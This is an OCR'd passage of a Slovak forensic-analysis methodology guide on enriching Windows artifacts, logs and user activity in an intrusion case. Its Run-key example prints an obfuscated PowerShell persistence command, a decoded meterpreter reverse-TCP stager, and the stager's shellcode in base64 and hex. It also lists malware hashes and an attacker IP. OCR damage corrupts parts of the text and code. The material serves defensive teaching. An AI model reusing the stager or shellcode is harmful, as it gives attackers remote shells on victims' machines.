Ea96B8 n. D 7 | OCE8E7B5 Signing 71 | 7:1 d9757 | c22c4952d0
OFAA7 L 4 2010 CA; 75 | 75 53 4a669c4

L 4 VeriSign 0z 0z

4.1.3. SRUM

Opat, SRUM bude pravdepodobne parsovany do viacerych tabuliek, ktoré zodpovedaju
jednotlivym tabulkdm v databdze SRUM. Preto odporucame vybrat ado spravy zahrnut
najrelevantnejSie polozky z kazdej tabulky.

Zistenia analyzy

e Pouzivanie aplikacii — ktoré aplikacie bezali na systéme?

e VyuZivanie siete — ktoré aplikacie su zodpovedné za najvacési objem sietovej
prevadzky? Existuje nejaky vyznamny vrchol v prijme/odchadzajicom transfere? Je
identifikovany malvér/PUA zodpovedny za podozrivy objem prevadzky, alebo sa da
pozorovat opakujuci sa vzorec prevadzky?

e Pouzivatelsky kontext — bezi podozrivy subor s pouzivatelskymi pravami, alebo bezi
ako systémovy ¢i privilegovany ucet?

o Casové petiatky — upozorfiujeme, 7e zdznamy SRUM sa vyplfiuju kaZzdi hodinu,
pokryvaju suhrn aktivit z prislusnych obdobi, nie presné ¢asové peciatky vykonavania!

Relevantné obohatenia

¢ Obohatenie pouzivatelského uctu

¢ Obohacovanie procesu

e Obohacovanie IP adries

e Obohatenie domény / URL

e Obohacovanie sietového toku (netflow)

Vystupy obohatenia
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¢ Kontext pouzivatelského uctu:

e Kontext procesu:

e Cielovd IP/doménovy kontext:

e Vyznam prenosu dat:

e Kontext beaconingu / podozrivej komunikacie:

4.1.4. BAM / DAM

4.1.5. UserAssist

4.1.6. Shimcache / AppCompatCache
4.1.7. RecentFileCache

4.1.8. RunMRU

4.1.9. Iné artefakty po spustani siiborov

MozZeme poufZit rovnaky vzor pre kazdy artefakt. Relevantné obohacovania sa opakuju
— nazov procesu, reputdcia spustitelného siboru na zadklade jeho hashu, nezvycajné
kombinacie pouzivatela a procesu a podobne.

4.1.10. VOLITELNE: Zhrnutie kategorie — Artefakty vykonania

Ak je to potrebné kvdli Citatelnosti, uvedte zhrnutie zisteni z celej sekcie. Stoji za to
zvazit umiestnenie tohto zhrnutia na zaciatok sekcie, aby recenzenti ziskali zakladné
pochopenie bez potreby citat najprv celu sekciu.

o Identifikované spustané nastroje/programy (vyznamné pre vysSetrovanie)
e Podozrivé alebo neopravnené spustenia

e Suhrn relevantnych obohateni

e DoOvera v spravnost vystupu/ obmedzenia

4.2. Artefakty pretrvavania (perzistencie)
4.2.1. KIiée Run / RunOnce

Zistenia analyzy

MoéZeme pouZit pluginy RegRipperu "soft_run" a "user_run" alebo RECmd.exe od Erica
Zimmermana. Upozoriiujeme, Ze je potrebné skontrolovat registre automatického spustenia
pouZzivatela aj systému. NajdoblezitejsSie poznatky zahfnaju:

e Cestaregistra
¢ Nazov hodnoty
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o Udaje v hodnote
o Cas posledného zapisu
e PridruZzeny pouzivatelsky SID (ak ide o pouzivatelksy klUc)

Relevantné obohatenia

e Legitimita klucov registra

o Klasifikacia perzistencie

e Obohatenie spustitelnych suborov / skriptov

e Obohatenie pouZivatelského SID — jeho preklad na meno uctu
e Suborovy hash / obohatenie podpisov

Vystupy obohatenia

o Ucel registra:

e Mapovanie techniky perzistencie:

e Ocakavana verzus skuto¢na hodnota:
e Suvisiaci spustitelny hash:

e Kontext pouzivatela/uctu:

PRIKLAD
V systémovom kl'i¢i Run je pritomny nasledujici zaznam:

KIac: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Nazov: coreupdate

Typ: REG_EXPAND_SZ

LastWrite: 2020-09-19 03:30:01 UTC

%COMSPEC% /b /c Start /b /min powershell -nop -w hidden -c "sleep 0;
iex([System.Text.Encoding]: :Unicode.GetString(
[System.Convert]: :FromBase64String(
(Get-Element 'HKLM:Software\9sEoCawv'). GetValue('45SVAG20')))))"

Ako vidime, hodnota odkazuje na iny kltu¢ registra, 'HKLM:Software\9sEoCawv'. Preto
by sme to mali dalej preskimat.

KIac: HKLM\Software\9sEoCawv
Hodnota: 45SVAG2o0 (REG_SZ, 1840 znakov so zdkladom 64)

Base64 je beiny spdsob, ako zamaskovat skodlivé payloady. Logickym analytickym
krokom by bolo dekddovat obsah a overit, ¢i existuju dalSie data na obohatenie.

e Faza 1 je PowerShell launcher, ktory spawnuje podriadeny powershell.exe -noni -nop
-w hidden a cez stdin spusta vnutorny blob, ktory je obfuskovany cez gzipped/base64.

17

Financované URAD PODPREDSEDU VLADY Q) . <
Eurépskou tGiniou PLAN roanovv" SLOVENSKE) REPUBLIKY D VYSKUMNA
P L 4 | Pre PLAN OBNOVY P )
NextGenerationEU A ZNALOSTNU EKONOMIKU VA/A - AGENTURA




e Faza 2 je kanonicky msfvenom windows/x64/meterpreter_reverse_tcp PowerShell
stager: prideluje RWX paméat pomocou VirtualAlloc, kopiruje 449 bajtov shellcode,
potom CreateThread - WaitForSingleObject.

if([IntPtr]::Size -eq
4){$b=%$env:windir+'\sysnative\WindowsPowerShell\v1l.0\powershell.exe'}else{$
b="powershell.exe'};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments="'-noni -nop
-w hidden -c &([scriptblock]::create((New-Object
System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-
Object
System.IO.MemoryStream(,[System.Convert]::FromBase64String (' 'H4sIAC1tZV8CA7
VIWa2+bSBTINEj5D61yBCi0jV2nzUaqt IAhXFWIK. . .
UL4+P8K1/e1f9j93Qil0Okv4p8UfF34Lzt/0f0]JiCpI2XHSEHVrvKwCU1Hj2e8LqApVF1Q/7v72z]
6dk1/LWcHP8N+iP4ZsoKAAA=""))),[System.I0.Compression.CompressionMode]: :D
ecompress))).
ReadToEnd()))"';$s.UseShellExecute=$false;$s.RedirectStandardoutput=%$true;$s
.WindowStyle="Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Proces
s]::Start($s);

Dekddovanie Gunzip a Base64:

function xKbl {

Param ($nOD, $olLUg)

$xjxX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$ . GlobalAssemblyCache -A $ . Location.Split('\\')[-1]. Rovna
sa('System.dll') }). GetType('Microsoft.Win32.UnsafeNativeMethods")

return $xjxX.GetMethod( 'GetProcAddress"',
[Type[]]1@([System.Runtime.InteropServices.HandleRef], [String])).
Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef(((New-Object IntPtr),
($xjxX.GetMethod( 'GetModuleHandle')). Invoke($null, @($nOD)))), $oLUg))

}

function qlVHM {

Param (
[Parameter(Pozicia = @, Mandatory = $True)] [Typ[]] $pPiTy,
[Parameter(Pozicia = 1)] [Typ] $r 1 = [Prazdnota]

)

$gEkxQ = [AppDomain]: :CurrentDomain.DefineDynamicAssembly( (New-Object
System.Reflection.AssemblyName( 'ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule
('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public,
Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$gEkxQ.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $pPiTy).
SetImplementationFlags('Runtime, Managed')
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$gEkxQ.DefineMethod( 'Invoke', 'Public, HideBySig, NewSlot, Virtual',
$r 1, $pPiTy). SetImplementationFlags('Runtime, Managed')

return $gEkxQ.CreateType()
¥

[Byte[]]$gri = [System.Convert]::
FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdI1SItSYEiLUhhIilIgSItyUEgPtOpKT
THISDHArDxhfAIsIEHBYQ1BAcHi7VIBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcBO
Z0gBOFCLSBhEi®AgSQHQ4171/81BizSISAHWTTHISDHArEHBYQ1BACE44HXXTANMIAhFOdF12Fh
Ei0AKSQQE44HXXTANMIAhFOdF12FhEiOAKSQQE44HXXTANMIAhFOdF12FhEi®AkSQSQHQZKGLDE
hEi@AcSQHQQYSEiEgBOEFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS/////113JvndzM18z
MgAAQVZJieZIgeygAQAASYn1SbwCAAG7y@5nbUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAF1Buim
AawD/1WoBQV5QUE@XYUOXWE j/wEiJwkj/wE1JIwUG66g/f4P/
VSInHahBBWEYJ4kiJ+UG6maVOY+/VhcBODENn/znX1aPClolb/1UiD7BBIieJNMclgBEFYSIn5Qb
0C2chf/9VIg8QgXon2akBBWWEAEAAAQVhIifIIMc1BulikU+X/1UiJwOmIx00xyUmI8Ei1J2kiJ+
UG6AtNnIX//VSAHDSCNGSIX2deFB/+c=")

$gH =

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ((xK
bl kernel32.dll VirtualAlloc), (qlVHM @([IntPtr], [UInt32], [UInt32])
([IntPtr]))). Invoke([IntPtr]::Zero, $gri. DIiZka, ©x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($gri, 0, $gH, $gri.length)

$e_gt =

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ((xK
bl kernel32.dll CreateThread), (qlVHM @([IntPtr], [UInt32], [IntPtr],
[IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).

Invoke([IntPtr]::Zero,0,%$gH, [IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ((xK
bl kernel32.dll WaitForSingleObject), (qlVHM @([IntPtr], [Int32]))).
Invoke($e qt,oxffffffff) | Out-Null

Dekdédovany shellcode v hexadecimalnej podobe uvddzame nizSie, no analyza presahuje
ramec sucasného prikladu. Prvé bajty naznacuju, Ze ide pravdepodobne o shellcode
generovany msfvenom:

FC 48 83 E4 FO E8 CC 41 51 41 50 52 51 56 48 31 D2 65 48 8b 52 60 48 8b 52
18 48 8b 52 20 48 8b 72 50 48 Of b7 4a 4a 4a 4d 31 c9 48 31 cO AC 3c 61 7c
02 2c 20 41 c1 c9 od 41 01 cl e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 do
66 81 78 18 ©b 02 Of 85 72 8b 80 88 48 85 cO 74 67 48 01 do 50 8b 48 18 44
8b 40 20 49 01 doO e3 56 48 ff c9 41 8b 34 88 48 01 d6 41 c9 48 31 cO ac 41
cl c9 od 41 01 c1 38 e@ 75 f1 4c ©3 4c 24 08 45 39 d1 75 d8 58 44 8b 40 24
49 01 do 66 41 8b Oc 48 44 8b 40 1c 49 01 do 41 8b 04 88 48 01 do 41 58 41
58 58 5e 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e@ 58 41 59 5a 48 8b
12 e9 4b ff ff 5d 49 be 77 73 32 5f 33 41 56 49 89 e6 48 81 EC a0 01 49 89
e5 49 BC 02 01 bb cb 4e 67 6d 41 54 49 89 e4 4c 89 f1 41 ba 4c 77 26 07 ff
d5 4c 89 ea 68 01 @1 59 41 ba 29 80 6b ff d5 6a 01 41 5e 50 4d 31 c9 4d 31
cO 48 ff cO 48 89 c2 48 ff cO 48 89 cl1l 41 ba ea of df ed ff d5 48 89 c7 6a
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10 41 58 4c 89 e2 48 89 f9 41 ba 99 a5 74 61 ff d5 85 c@ 74 Oc 49 ff ce 75
e5 68 0 b5 a2 56 ff d5 48 83 ec 10 48 89 e2 4d 31 c9 6a 04 41 58 48 89 f9
41 ba 02 d9 c8 5f ff d5 48 83 c4 20 e 89 f6 4a 40 41 59 68 10 41 58 48 89 f2
48 31 c9 41 ba 58 a4 53 e5 ff d5 48 89 c3 49 89 c7 4d 31 c9 49 89 {0 48 89
da 48 89 f9 41 ba ©2 d9 c8 5f ff d5 48 91 c3 48 29 c6 48 85 f6 75 el 41 ff

e’/

Z tychto zisteni m6Zeme odvodit nasledujuce (priklady):

Register, ktory bol upraveny, je systémovy, ¢o znamena, Ze utocnik bol aktivny na
urovni lokdlneho administratora.

Cas LastWrite by sa mal pouZit ako pivotny bod/datum znamej aktivity protivnika.
Logy udalosti PowerShell m6Zu obsahovat viac informacii o vykonavani skriptov.
Perzistencia prostrednictvom Run registra je v ramci MITRE frameworku
katalogizovana ako T1547/001 (https://attack.mitre.org/techniques/T1547/001/)

4.2.2. Planované ulohy

Zistenia analyzy

Nazov ulohy

Autor

Prikaz

Trigger (podmienka, pod akou sa uloha spusti)
Run ucet (pod ktorym sa uloha vykonava)

Cas vytvorenia/Upravy

Relevantné obohatenia

Legitimita ulohy

Obohatenie spustaného programu (vypocitanie hashu, vyhladanie na VirusTotal
a pod.)

Kontext privilégii

Obohatenie pouzivatelského uctu

Suborovy hash / obohatenie podpisov

Vystupy obohatenia

Klasifikacia uloh:

Obohatenie spustanych prikazov/programov:
Kontext beZiaceho uctu:

Podpis/hash:

ATT&CK / mapovanie perzistencie:
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https://attack.mitre.org/techniques/T1547/001/

4.2.3. Sluzby (Services)

Zistenia analyzy

e Nazov sluzby

e Display Name - zobrazeny nazov sluzby
e ImagePath

e Typ Startu

o Ucet (pod akym servis be?i)

o Cas poslednej modifikacie

Relevantné obohatenia

e Legitimita sluzby

e Obohacovanie ciest k bindrnemu suboru sluzby
e Obohatenie podpisov / hashov

e Obohatenie servisného uctu

e Kontext perzistenice / zneuZivania privilégii

Vystupy obohatenia

e Legitimna kontrola sluzieb:

e Hodnotenie cesty:

e Podpis / signatar:

e Prava servisného uctu:

e Suvisiace informdcie o suboroch / procesoch (vratane threat intelligence):

PRIKLAD
V nasom pripade bol nedavno nainstalovany a upraveny service coreupdater .

So 19. septembra 03:27:49 2020 Z

Nazov = coreupdater

Displej =

ImagePath = C:\Windows\System32\coreupdater.exe

Typ = Own_Process

Start = Automaticky Start

Skupina =

Pocas obohacovania sme vypocitali hash spustitelného suboru a vyhladali ho vo

Virustotal. Mohli by sme to porovnat so zoznamom sluzieb na "golden image", ak by sa
pouzival v infrastrukture.

MDS5 hash C:\Windows\System32\coreupdater.exe: eed41b4500e473f97c50c7385ef5e374
Obohatenie VT:

Miera detekcie: 63/71
MD5: eed41b4500e473f97c50c7385ef5e374
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SHA-1: fd153c66386ca93ec9993d66a84d6f0d129a3a5c¢c
SHA-256: 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a@clcfdab

Typ suboru: Win32 EXE spustitelny subor Windows
Magic bytes: PE32+ spustitelny subor (GUI) x86-64, pre MS Windows
Velkost suboru: 7,00 KB (7168 bajtov)

Cas vytvorenia: 2010-04-14 22:06:53 UTC

Prvykrat videny: 2021-06-09 17:36:25 UTC

Prvé nahratie na VT: 27.09.2020 13:12:13 UTC
Posledné nahratie na VT: 2026-06-30 13:43:54 UTC
Posledna analyza: 2026-06-063 19:56:39 UTC

Mena:

coreupdater.exe

zv. 3-D.. Windows.System32.coreupdater.exe
coreupdaterl.exe

coreupdater.exe.copyl

coreupdater[1l].exe
attachment13490588045764544186
attachment7085602993915799851
coreupdater.exe.stop

exe_1.pcap

zv. 4-D.. Windows.System32.coreupdater.exe

Informacie o spustitelnom sibore
Compiler products

[IMP] VS2005 build 50727 count =3
[---] Unmarked objects count =2

[ASM] VS2008 SP1 build 30729 count =1
[INK] VS2008 SP1 build 30729 count =1

Popularne oznacenie: trojan.rozena/shelma
(https://www.virustotal.com/gui/file/10f3b92002bb98467334161cf85d0b1730851f9256f83c
27db125e9a0c1cfdab)

Dalsim délezitym detailom tykajicim sa registrového kltc¢a sluzby je ¢as posledného zapisu,
ktory by sme mali zahrnut do ¢asovej osi pripadu.

Rovnako ako v pripade registra Autoruns, perzistencia prostrednictvom sluzieb je dobre znamy
a Siroko pouzivany mechanizmus.

4.2.4. Startup priecCinky
4.2.5. Perzistencia cez WMI
4.2.6. Applnit DLL / IFEO / iné perzistencie registra

Podobny pristup aplikujte na akykolvek iny identifikovany mechanizmus perzistencie.
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4.2.7. VOLITELNE - Zhrnutie kategérie — Perzistencia

¢ |dentifikované mechanizmy pretrvavania

e Pravdepodobne neSkodné vs podozrivé perzistentné mechanizmy
e Klucové obohatenia

e Doveryhodnost vystupu / obmedzenia

Na zdklade vysSie uvedenych zisteni odporucame zahrnut kratke zhrnutie automatickych
behov (Run keys) a mechanizmov pretrvavania cez servisy. Mapovanie MITRE ATT&CK: T1543-
003. https://attack.mitre.org/techniques/T1543/003/

4.3. Analyza logov

4.3.1. Zaznamy udalosti vzdialeného pristupu: Security.evtx a RDP logy
Zistenia analyzy

e Udalosti prihlasenia/odhlasenia

e VyuZivanie privilégii

e Neuspesné prihlasenia

e Zmeny Uctu

e Vytvdranie procesov, ak je povolené

Relevantné obohatenia

¢ Obohatenie pouzivatelského uctu
e Obohatenie hostname/IP adresy
¢ Geolokac¢né obohatenie

¢ Obohatenie ID udalosti

e Mapovanie ATT&CK

¢ Obohacovanie cez zdroj logu

Vystupy obohatenia

e Kontext pouzivatela/uctu:

e Zdrojovy kontext IP:

e Geolokdacia / nemoziné cestovanie:

¢ Vyznam udalosti:

e Suvisiace ID udalosti / Sigma pravidla:

PRIKLAD
Legitimna aktivita administratora dria 18. juna 2020 vytvorila ucty rodiny Smith C137:
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Cas (UTC) Akcia Ucet

2020-09-18 4720 vytvoreny Jerrysmith
00:52:08

2020-09-18 4720 vytvoreny Summersmith
00:53:25

2020-09-18 4720 vytvoreny ricksanchez
01:02:52

2020-09-18 4720 vytvorené (znovu vytvorené po 5 Mortysmith
01:05:11/03:44:13 | sekundach vymazania)

2020-09-18 4720 vytvoreny bethsmith
04:16:04

Potom nastala anomalna zmena uctu — 9 po sebe iducich cyklov vytvarania/mazania toho
istého Uctu birdman pocas 21 minut administratorom, ktoré koncia ispesnym vytvorenim:

Cas (UTC) Akcia

2020-09-18 4720/4726 slucka vytvarania/mazania uctu, 8x (birdman)

04:17:58 -

04:34:14

2020-09-18 4720 vytvorit Gcet + 4724 resetovat heslo + 4722 povolit (birdman)

04:39:13
Eskalacia opravneni pridanim uétov do doménovych a lokalnych administratorov neskor toho
istého rana - MITRE mapovanie T1098.007
(https://attack.mitre.org/techniques/T1098/007/):

Cas (UTC) Skupina Pridany ¢len

2020-09-18 Domeénovi C137\ricksanchez (RID 1106)

05:13:20 administratori

2020-09-18 Lokalni C137\ricksanchez

05:14:00 administratori

Nazov uctu birdman nezodpoveda systému pomenovania vdoméne C137 a vyzZzaduje si dalSie
vySetrovanie. Zaujimavé je, Ze ricksanchez (a nie birdman) bol povyseny medzi doménovych
administratorov — bud' sa povysenie vykonalo na inom Ucte, nez na akom sa diali podozrivé
aktivity vytvarania a mazania, alebo utocnik pouZil birdmana na testovanie pracovného
postupu pred prechodom na déveryhodnejsi ucet.

Analyza prihlasovacich udalosti ukazala nasledujice 2 IP adresy , ktoré budu vyZzadovat
obohatenie.
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P Uloha

Stopy

stanica DESKTOP-SDN1RPTS sa
pripojila k doméne 18.09.2020
22:42:14 a pouzivala sietové logy
ako Administrator, ricksanchez a
mortysmith

194.61.24.102 Externy uto¢nik — interaktivny | 4 x 4624 LogonType 10 udalosti
RDP do DCO1 ako administrator
10.42.85.115 Interny pivot — nova pracovna | 113 x 4624 LogonType 3 udalosti

Obohatenie externej IP adresy:

Typ IP

Podtyp IPv4
normalized_value 194.61.24.102
enrichment_status dokoncené

enrichment_sources

ip-api.com; RDAP; AbuselPDB; VirusTotal

related_entities

Varovania

Chyby

geo_country Rusko

geo_city Moskva

geo_coords 55.7558,37.6173
ASN AS41842

asn_org MEDIAL-AS

ISP LLC "MEDIA SYSTEMS"
whois_org lir-ru-optima-1-MNT
whois_cidr 194.61.24.0/24
whois_abuse_contact sup@optimacoms.ru
is_hosting Nie

is_proxy_vpn Nie
abuse_confidence_score | 0%
abuse_total_reports 0

abuse_last_reported

2024-01-04721:13:00+00:00

abuse_usage_type

Datové centrum/Webhosting/Transit

abuse_is_tor Nie
vt_malicious 0
vt_suspicious 0
vt_reputation 0

vt_as_owner

LLC media Systems
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vt_final_url
vi_http_code
vt_title
vt_last_analysis
vt_detection
vt_threat_label
vt_type
vt_size_bytes
vt_names
vt_signed_by
vt_first_seen
vt_last_seen
vt_times_submitted
MD5

SHA1

sha256
geo_country_code
geo_region
is_mobile
whois_network_name
whois_country
abuse_distinct_users
abuse_isp
abuse_domain
abuse_is_whitelisted
vt_harmless

vt_asn

vt_country
vt_network
src_type
src_subtype_scope
src_value
src_occurrences
src_confidence

src_extraction_methods

src_distinct_sources

src_sources

2026-06-19702:55:50Z

RU

Moskva

Nie
RU-OPTIMA-20230817
RU

0

Optima Communications, LLC

optimacoms.ru
Nie

54

41842

RU
194.61.24.0/24
IP

Verejny
194.61.24.102
978

0.8

regex

5

20260622130940_EvtxECmd_Output.csv:Naklad (x611);
20260622130940_EvtxECmd_Output.csv:RemoteHost (x364);
20260622130928_RECmd_Batch_DFIRBatch_Output.csv:ValueData

(x1);

20260622130921_RECmd_Batch_Kroll_Batch_Output.csv:ValueData

(x1);

Financované
Eurépskou tniou
NextGenerationEU

. r - URAD PQDFREDSEDU \{LADY @
PLAN [OBNOVY_ | B e

BNOVY
A ZNALOSTNU EKONOMIKU

26

v VI‘ VYSKUMNA
VA/A AGENTURA




20260622130935_RECmd_Batch_UserActivity_Output.csv:ValueData
(x1)
SourceFile=H:\Windows\System32\winevt\Logs\Microsoft-Windows-

src_example_context RemoteDesk | Channel=Microsoft-Windows-RemoteDesktopServices-
RdpCoreTS/Operatio

4.3.2. Sysmon

Ak je Sysmon nainstalovany, obohacovanie bude pravdepodobne zamerané na Event IDs 1
(Spustitelny subor/ Prikazovy riadok procesu / Obohatenie detailov rodi¢ovského procesu), 3
(Cielova IP, Cielovy port / protokol, PE subor procesu / ndzov procesu) a 22 (nazov DNS dotazu,
Dotazovana doména / FQDN).

Zistenia analyzy

e Vytvaranie procesov
e Sietové pripojenia

o DNS dotazy

e Vytvaranie suborov
o Upravy registra

Relevantné obohatenia

e Obohacovanie procesu

e Obohacovanie suborovych hashov

e Obohatenie DNS/domény

e Obohacovanie IP adries

e Mutex / obohacovanie pomenovanych rur
e Obohatenie ID udalosti

Vystupy obohatenia

e Legitimita procesu:

e Vyznam prikazového riadku:
e Hash a podpis:

e Info o doméne/IP:

e DNS/ kontext beaconingu:

4.3.3. PowerShell logy
Mozné obohatenia:

e URL odkazované v skripte
e Domény / FQDN spominané v skripte
e |P adresy, na ktoré sa odkazuje
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e Hase suboru odkazované alebo vysledné payloady

4.3.4. Logy planovaca uloh

Obohatenia sa uplatiuju podobnym sp6sobom v kategdrii Planované ulohy v kategorii
Perzistencia.

4.3.5. Aplikacné logy

V tomto pripade mo6zZu byt obohatenia jedine¢nejsie od jedného vySetrovania k druhému.
ROzne programy a aplikacie zaznamendvaju svoje udalosti do logu Application.evtx, preto by
sme odporucali cielenejsi pristup. Je tiez mozné vykonat obohacovanie na castiach dat
extrahovanych zo surovych dat logu pomocou regularnych vyrazov.

Vo vseobecnosti mozu byt medzi zaznamami aplikacnych logov nasledujtce udaje:

e cesta k spustitelnym suborom,
e stopy o pritomnosti programu,
e stopy o zlyhani/zaseknuti programu.

Obohatenia silne zavisia od dostupnych tdajov. VSeobecné obohatenia je mozné aplikovat na
polozky ako samotné Event ID, mapovanie na ATT&CK Matrix a podobne.

4.3.6. Firewall logy
Obohacovanie by sa malo zamerat na:

e Firewallové pravidld/ zhrnutie ACL — je nejaké pravidlo necakané, alebo sa nejaké
pravidlo objavilo pocas podozrivého ¢asového okna?

e Stav pravidiel firewallu (povolené/zablokované) — porovnanie s ocakdavanym
stavom

e Externé obohatenie IP adresy, ak je takato IP referencovana vo firewall logu

4.3.7. DNS zaznamy
Data na obohatenie:

e DNS udaje o dotazoch a odpovediach

e Odkazované interné a externé IP adresy (vykonat prislusné obohatenia)

e FQDN / Doménové meno (skontrolujte DNS CNAME chain, pasivhu DNS histdriu,
podobnost Typosquatting / homoglyfov, ...)

4.3.8. Proxy / webové denniky
Udaje z tohto logu, ktoré by viedli k najpozoruhodnej$im vysledkom obohatenia, su:

e URL
e Retazec User-Agent
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Doména / FQDN

4.3.9. VPN logy

V zdvislosti od typu dat zapisanych vo VPN logoch by sme mohli obohatit nasledujuce polozky:

Verejna alebo sukromna IP (aplikovat obohatenia pre prislusny typ IP adresy)
Pouzivatelsky ucet (pre lepsie pochopenie legitimnosti vzdialeného pristupu)
Ndzov zariadenia

Pouzivatelské meno

4.3.10. EDR / SIEM/Antimalware upozornenia

Data na ziskanie a obohatenie:

Sdkromna IP adresa
Hash suboru
PouZzivatelsky ucet
Ndazov procesu

4.3.11. Zhrnutie kategorie — Analyza logov

Najvyznamnejsie (z pohladu vySetrovania) udalosti
Korelacia napriec¢ logmi

Interpretacia podporovana obohacovanim
Zhodnotenie déveryhodnosti, uviest medzery a vyhrady

4.4. Artefakty uzivatel'skej aktivity

4.4.1. Histéria prehliadaca a stahovania

Zistenia analyzy

Navstivené URL adresy

Domény

Stiahnutia suborov

Vyhladdvané vyrazy

Casové peciatky navitevy tej-ktorej stranky

Relevantné obohatenia

Obohacovanie URL
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¢ Obohacovanie domény

e Obohatenie IP adresy, ak bola resolvovana ¢i priamo kontaktovana
e Obohacovanie hashov stiahnutych suborov

e Reputdcia, asociacia s phishingom ¢i malvérom

Vystupy obohatenia

e Reputdcia URL:

e Ciel presmerovania (redirectu):
e Vlastnictvo domény / vek:

¢ Hash stiahnutého suboru:

e Phishing / malware kontext:

4.4.2. RecentDocs
4.4.3. Office MRU / déveryhodné dokumenty (Trusted Documents)
4.4.4. ComDIg32 - LastVisitedPIDMRU, OpenSavePIDMRU

Tieto artefakty su zapisané v registri. Podobné obohatenia platia pre vSetky, napriklad:

e QOverovanie ciest
e Korelacia s pouzivatelmi
e Hash suboru (ak je stale pritomny v systéme)

4.4.5. Jump listy
4.4.6. LNK subory

Pre LNK a Jump Lists mozno pouzit nasledujice obohatenia:

e Overovanie ciest

e Hash cielového suboru (na ktory LNK file odkazuje)
o Sietové shares / obohatenie ndzvov zariadeni

¢ Korelacia pouzivatelov

Okrem toho mo6zZeme hladat subory, ku ktorym bolo po prvy krat pristipené v
znamom case Utoku, aby sme urcili, ktoré informacie budu pravdepodobne pristupné a
mozno aj exfiltrované Utocnikom. Je to vSak skor analyticka Uloha nez obohatenie. Iterativny
analyticky proces je zaloZeny na zhromazdovani informacii, ich korelacii a interpretacii, zatial
¢o obohacovanie je pre ucely tohto vystupu viac zamerané na obohatenie jednotlivych
udajov.
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PRIKLAD

Administrator pouzivatela pravdepodobne pristupoval k siborom v tabulke nizsie. Na zdklade
toho, ¢o uz vieme, Administrator nie je Standardny pouzivatel, tento Ucet je viazany na utok,
ktory vySetrujeme, a subory LNK, ako aj pévodné sibory, na ktoré tieto LNK smeruju, boli
vytvorené v case alebo blizko "obdobia utoku" uréeného logmi udalosti. Je rozumné
podozrievat, Ze doslo k uniku dat.

Spolo¢né parametre su vynechané:

SourceCrea

ted

WorkDirectory: C:\FileShare\Secret
NetworkPath: \\CITADEL-DCO1\FileShare
Sériové Cislo: E648FADO

MachinelD: citadel-dc01
MachineMACAddress: 00:0c:29:e1:84:e6
MACVendor: VMWARE

TargetModi CommonPath

fied

SourceMod
ified

TargetCreat
ed

TargetMFTEntryN
umber

19.9.2020 19.9.2020 19.9.2020 19.9.2020 0 | Secret\Beth_Secret = 0x15447
3:35 3:35 3:34 3:34 txt

18.9.2020 19.9.2020 18.9.2020 18.9.2020 25 | Secret\NoJerry.txt | Ox153B7
22:29 3:31 22:29 22:30

18.9.2020 19.9.2020 18.9.2020 18.9.2020 143 | Secret\PortalGunPl | 0x4F32
22:34 3:32 22:33 22:35 ans.txt

18.9.2020 19.9.2020 18.9.2020 19.9.2020 | 4096 | Secret 0x153B6
22:29 3:35 22:29 3:35

18.9.2020 19.9.2020 18.9.2020 18.9.2020 28 | Secret\SECRET bet | Ox11FA3
22:39 3:32 22:39 22:40 h.txt

18.9.2020 19.9.2020 18.9.2020 18.9.2020 478 | Secret\Szechuan 0x15413
22:35 3:32 22:35 22:38 Sauce.txt

4.4.7. Artefakty v Outlooku / e-maile

Pre e-mailové artefakty mozu obohatenia zahfriat:

Obohacovanie e-mailovych adries
Obohatenie IP odosielatela
Reputdcia domény
Obohacovanie hashov priloh
Obohacovanie URL

4.4.8. Teams / chat / artefakty po kolaboraénych nastrojoch

V zavislosti od obsahu artefaktu mozu byt pouzitelné obohatenia pre nasledujice udaje:

E-mailova adresa
Meno osoby
Telefénne Cislo

Financované
Eurépskou tniou
NextGenerationEU

URAD PODPREDSEDU WLADY L_|
E | SLOVENSKE] REPUBLIKY <
PRE PLAN OBNOVY
| A ZNALOSTNU EKONOMIKU

PLAN [OBNOVY

VI‘ VYSKUMNA

AGENTURA

31



e URL, FQDN

KedZe vSetky moZu priniest znacné mnoiZstvo Udajov, nebudeme tu poskytovat dalsie
podrobnosti ani priklady.

4.4.9. RDP / artefakty pouzivatela vzdialeného pristupu
Obohacovania budu podobné tym, ktoré sa vztahuju na analyzu RDP Event Log.

e Verejné alebo sukromné IP obohatenia (zdrojova a ciefova IP adresa)
e Obohatenie pouZivatelského mena/pouzivatelského uctu

4.4.10. Zhrnutie kategorie — Aktivita pouzivatelov

e Akcie pripisané pouzivatelom

e Stahovanie / prehliadanie / pristup k dokumentom
o Stopy po komunikacii

e Suhrn relevantnych obohateni

4.5. Analyza suborového systému

4.5.1. Metadata suborového systému
Zistenia analyzy

o Casy vytvorenia / Gpravy / pristupu
e Cesty suborov

e Vlastnictvo

e Alternativne datové toky

e Vymazané/obnovené subory

Relevantné obohatenia

e Obohacovanie siborovych hashov
e Obohatenie podpisov

e Legitimita cesty

o Korelacia pouzivatela a procesu

Vystupy obohatenia

e Hash suboru:

e Podpis / vydavatel:

e Vzacnost cesty / podozrivost:

e Suvisiace stopy o spustani suborov:

32

Financované URAD PODPREDSEDU VLADY ) . <
